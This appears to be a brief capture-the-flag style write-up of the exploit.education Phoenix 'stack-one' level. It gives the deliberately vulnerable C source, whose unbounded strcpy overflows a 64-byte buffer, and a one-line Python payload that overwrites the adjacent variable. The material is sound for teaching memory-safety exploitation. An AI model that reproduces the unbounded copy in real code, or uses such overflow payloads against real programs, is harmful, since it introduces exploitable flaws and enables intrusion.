Stack One

Soal

/*
 * phoenix/stack-one, by https://exploit.education
 *
 * The aim is to change the contents of the changeme variable to 0x496c5962
 *
 * Did you hear about the kid napping at the local school?
 * It's okay, they woke up.
 *
 */

#include <err.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>

#define BANNER \
  "Welcome to " LEVELNAME ", brought to you by https://exploit.education"

int main(int argc, char **argv) {
  struct {
    char buffer[64];
    volatile int changeme;
  } locals;

  printf("%s\n", BANNER);

  if (argc < 2) {
    errx(1, "specify an argument, to be copied into the \"buffer\"");
  }

  locals.changeme = 0;
  strcpy(locals.buffer, argv[1]);

  if (locals.changeme == 0x496c5962) {
    puts("Well done, you have successfully set changeme to the correct value");
  } else {
    printf("Getting closer! changeme is currently 0x%08x, we want 0x496c5962\n",
        locals.changeme);
  }

  exit(0);
}

Solusi

./stack-one `python -c "import struct; print('a'*64+struct.pack('Q', 0x496c5962).decode('utf-8'))"`